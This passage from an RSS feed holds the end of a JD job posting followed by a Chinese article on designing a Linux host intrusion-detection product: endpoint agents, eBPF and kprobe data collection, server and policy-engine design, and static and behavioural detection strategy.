style="text-align:left;text-indent:0;margin-left:0;margin-top:0;margin-bottom:0;"><span data-type="text"><span leaf="">本科（全日制）及以上学历</span></span></p><span leaf=""><br/></span><span leaf=""><br/></span><p style="text-align:left;text-indent:0;margin-left:0;margin-top:0;margin-bottom:0;"><span data-type="text"><span leaf="">联系人 yangpeng192@jd.com</span></span></p><p style="text-align:left;text-indent:0;margin-left:0;margin-top:0;margin-bottom:0;"><span data-type="text"><span leaf="">Base：北京亦庄京东大厦B座</span></span></p><span data-type="text"></span></article><span leaf=""><br/></span><mp-style-type data-value="3"></mp-style-type>



<p><a href="2247484392">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c75f13f2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484392%26idx%3D1%26sn%3D044b1e8ad3f03981ad99a12973529cc0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 May 2025 17:28:00 +0800</pubDate>
    </item>
    <item>
      <title>如何构建反入侵产品（Linux平台）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484388&amp;idx=1&amp;sn=3673bea3696f50cd0a0e25d7d0481eee</link>
      <description>本文主要系统性介绍在Linux平台下如何构建反入侵产品。</description>
      <content:encoded><![CDATA[<p>
原创 <span>EBwill</span> <span>2024-06-19 21:14</span> <span style="display: inline-block;">上海</span>
</p>

<p>本文主要系统性介绍在Linux平台下如何构建反入侵产品。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=592970ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVwuh3hJqbocYfu7Qm4JTXcx2GUgwJK2l2qXe2Cp4lvGiag4J6G4ChksgS0x8O8dl6t8PhzxnNT7V5w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n1837" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">本文主要系统性介绍在Linux平台下如何构建反入侵产品。</span></p><p cid="n1839" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n1840" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">1. 整体设计</span></h2><p cid="n1841" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">目前主流的方案还是基于Agent的方式，Agentless的限制比较明显。即Agent运行在端上负责数据采集、部分恶意行为判断和响应能力等，后端负责Agent管理和数据处理来发现恶意行为。</span></p><p cid="n1842" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">整体不详细展开，主要写一些设计过程中需要关注的问题或主要的设计思路。</span></p><h3 cid="n1843" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">1.1 Agent</span></h3><ul class="list-paddingleft-1" cid="n1844" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1846" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">端上CPU/内存/IO限制；</span></p></li><li><p cid="n1848" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">关键指标与监控数据的采集与上报，如TPS/CPU/MEM/磁盘IO/网络IO的占用情况等，便于监控和自证；</span></p></li><li><p cid="n1850" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">容器环境的适配，这部分主要会影响数据采集的质量，比如K8s下最好能关联到Pod和镜像信息，并且还有很多数据采集可能会需要进入到容器环境内进行，比如资产，弱口令，关键配置等；</span></p></li><li><p cid="n1852" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">不同发行版、CPU架构与新老版本内核和发行版版本的兼容与测试：</span></p></li><ul class="list-paddingleft-1" cid="n1853" mdtype="list" data-mark="*" style="padding-left: 30px;list-style-type: square;"><li><p cid="n1855" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">一方面是不同环境下可能部分功能实现就不一致，比如包管理不同导致的资产采集和文件完整性校验的实现差异；</span></p></li><li><p cid="n1857" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">还有一方面是可能存在的Agent本身的依赖问题，比如对openssl的依赖，对libc的依赖，这些依赖是否存在版本的要求的问题，是否要选择全静态编译。</span></p></li></ul><li><p cid="n1859" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">不同Region以及内外网环境的适配，这个需要结合部署环境与实际情况综合判断；</span></p></li><li><p cid="n1861" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">自升级与插件升级能力，目前大部分应该都会设计成插件的模式，主要需要看是否支持Agent自升级和插件升级并且如何实现，延伸的问题是是否需要精细化的管理，比如不同的机器有不同的插件版本和插件配置，这部分需要更仔细的设计每个Agent的配置管理部分；自升级可能有些公司是不允许的，需要通过统一的包管理和包升级走。</span></p></li><li><p cid="n1863" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">通信加密性以及自保护能力，是否需要针对常见的kill，system stop或者离线掉线做检测或针对性的对抗；</span></p></li><li><p cid="n1865" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">Agent本身和插件的Crash或Error感知能力。</span></p></li></ul><h3 cid="n1866" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">1.2 数据采集</span></h3><ul class="list-paddingleft-2" cid="n1867" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1869" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">笔者认为以目前的对抗强度，目前的最佳方案一定是通过内核态进行数据采集，尤其是eBPF出现后；</span></p></li><li><p cid="n1871" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">主要的在内核态的Runtime数据采集范围还是围绕着：</span></p></li><ul class="list-paddingleft-1" cid="n1872" mdtype="list" data-mark="*" style="padding-left: 30px;list-style-type: square;"><li><p cid="n1874" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">进程：创建，权限变更，继承关系变更等；</span></p></li><li><p cid="n1876" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">文件：创建或打开，删除，更名，无文件，mount等；</span></p></li><li><p cid="n1878" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">网络：连接或被连接，端口监听，DNS等；</span></p></li><li><p cid="n1880" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">特殊权限：USB，Ptrace，Load Kernel Module等；</span></p></li><li><p cid="n1882" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">明确的攻击场景下的数据采集：端口扫描行为下的统计性数据采集，各种提权和常见的内核0day利用的内核函数调用采集。</span></p></li></ul><li><p cid="n1884" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">内核态数据采集的技术方案比较明确：kprobe或tracepoint，应该也可以基于LSM；</span></p></li><li><p cid="n1886" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">也有基于LD_PRELOAD或者uprobe的实现，这部分需要注意容器场景的支持问题；</span></p></li><li><p cid="n1888" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">确定采集数据后还需要确认具体hook函数，这里会有比较多的工作，拿网络连接举例，可以选择connect syscall，也可以选择tcp_connect，这里会有细微差异，比如是否能得到正确的返回值，是否支持有connect syscall调用的udp等；另外说一句，如果这里使用Auditd的方案做connect的数据采集，你会发现由于hook点过于前置（应该是LSM有阻断的需求）连源端口都无法获取，所以具体的hook点的选择和组合很重要；</span></p></li><li><p cid="n1890" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">在这个过程中需要尽可能的了解目前方案的边界在哪里，比如rawsocket或无connect的udp请求可能无法被以上的hook点采集到，如何需要覆盖成本可能会很高，这里需要不断平衡这些问题，并且需要明确的清晰的了解这些能力边界和差异；</span></p></li><li><p cid="n1892" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">兼容性依然是很重要的问题，不同CPU架构和不同内核版本下的差异需要被重点关注，还有一些非主流的函数容易被忽略，如ia32；</span></p></li><li><p cid="n1894" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">还需要确认采集的是具体的采集字段，这部分主要分为两部分：</span></p></li><ul class="list-paddingleft-1" cid="n1895" mdtype="list" data-mark="*" style="padding-left: 30px;list-style-type: square;"><li><p cid="n1897" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">基础信息：负责标识进程或数据关联，如：PID，EXE，SID，PGID，COMM，CMDLINE，容器信息等；</span></p></li><li><p cid="n1899" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">支撑检测信息：不同的采集点不一样，负责该采集点对应的检测工作，比如connect下的5元组信息等；</span></p></li><li><p cid="n1901" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这部分数据可以参考一些知名的开源方案或者逆向一些商业化产品进行学习，琢磨每个字段或者每个采集点的作用，然后不断结合自己的场景和积累进行迭代。</span></p></li></ul><li><p cid="n1903" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">需要支持热更新的白名单，这点非常重要，在尽可能早的阶段将白名单内数据过滤来尽可能的降低其对于资源的占用，白名单可以是用户态计算完后传递给内核态进行过滤（比如在用户态计算完MD5或者其他复杂匹配后传到内核态的只是PID LIST等）；</span></p></li><li><p cid="n1905" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">采集频率的限制，降级与熔断方案，其中不仅需要有整体的降级或熔断方案，也需要有针对不同极端场景下的方案，如高open/udp/connect等场景可以关闭对应的hook点；</span></p></li><li><p cid="n1907" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">其他数据采集：</span></p></li><ul class="list-paddingleft-1" cid="n1908" mdtype="list" data-mark="*" style="padding-left: 30px;list-style-type: square;"><li><p cid="n1910" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">登陆日志；</span></p></li><li><p cid="n1912" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">History：按需，针对build-in bypass execve场景；</span></p></li><li><p cid="n1914" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">各维度的资产数据：用户，进程列表，端口列表，包管理数据，中间件，数据库，定时任务，System Service等等，这部分就不赘述了；</span></p></li><li><p cid="n1916" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">合规和基线相关，漏洞检测相关，弱口令检测相关。</span></p></li></ul></ul><h3 cid="n1917" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">1.3 服务端</span></h3><ul class="list-paddingleft-1" cid="n1918" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1920" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">服务端整体的高可用设计，降级方案，配套的监控与应急能力；</span></p></li><li><p cid="n1922" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">各组件的横向扩容能力；</span></p></li><li><p cid="n1924" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">不同Region以及内外网环境的适配；</span></p></li><li><p cid="n1926" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">Agent管理能力，相关配置变更与变更管理能力；</span></p></li><li><p cid="n1928" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">关键数据的统计能力，一方面便于做整体的评估，另一方面可以做一些诸如自动调整端上白名单的工作。</span></p></li></ul><h3 cid="n1929" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">1.4 策略引擎</span></h3><ul class="list-paddingleft-1" cid="n1930" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1932" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">有状态和无状态以及CEP场景的策略建设需求的满足，自定义函数，离线计算场景支持，流+离线计算场景支持；</span></p></li><li><p cid="n1934" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">高性能；</span></p></li><li><p cid="n1936" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">其他能力，如策略的灰度发布，namespace的支持，细粒度的监控，策略debug能力，横向扩容支持等等，即需要满足好用且易用，多人场景下好用且易用。</span></p></li></ul><p cid="n1937" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n1938" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">2. 策略建设</span></h2><h3 cid="n1939" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">2.1 静态检测</span></h3><p cid="n1940" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">通过签名特征或者静态特征检测，目前主流还是会结合动态行为进行准实时检测，比如结合open或者create file再追加静态检测插件进行扫描。</span></p><p cid="n1941" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">因为静态策略建设比较依赖积累，这部分特征库一般可以选择开源裁剪（如clamav），或者外部采购商业检测引擎以及采购威胁情报。</span></p><p cid="n1942" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">自建可以考虑通过：</span></p><ul class="list-paddingleft-1" cid="n1943" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n1945" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">大规模外网蜜罐+自动化或半自动化提炼关键特征+人工校准；</span></p></li><li><p cid="n1947" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">购买恶意样本+自动化或半自动化提炼关键特征+人工校准；</span></p></li><li><p cid="n1949" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">构建动静态沙箱+Agent无差别上传未见过文件，这个比较暴力，但是是传统杀软和云厂商乃至微软都在采用的方案。</span></p></li></ul><p cid="n1950" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">长期看不仅仅要建立各种动态静态策略，更重要的是要建立内部对于的各种样本、家族、手法分析能力和方法，并且能够不断的沉淀下来，这可以帮助我们感知不同纬度的攻击者的手法和创新，来不断的提高整体的检测能力。</span></p><p cid="n1951" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n1952" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">2.2 基本策略</span></h3><p cid="n1953" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">我给基本策略的定义是：即基于单一数据就可以判断该行为为恶意的策略，比如一些基本的反弹shell，常见RAT行为特征，常见的恶意工具特征，常见挖矿蠕虫特征等等，除此之外还有一些简单的无状态频率检测，如爆破，扫描等。</span></p><p cid="n1954" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这里可以根据ATT&amp;CK和自己内部的归纳方法先进行攻击手法的收集归类和自动化验证工具的准备，再逐步进行策略的编写，并且需要长期查漏补缺。</span></p><p cid="n1955" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n1956" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">2.3 行为序列检测</span></h3><p cid="n1957" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">在高级的对抗中往往很难通过基本策略进行检测，这一部分是因为服务器端有些时候已经是攻击的末端了，攻击者可能已经可以通过合法身份的渠道登陆到服务器上进行一些操作了，另一方面更高明的攻击者也会有尽量降低暴露自己的可能，直接使用常见RAT或者反弹shell等操作并不是一个好的选择。</span></p><p cid="n1958" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: 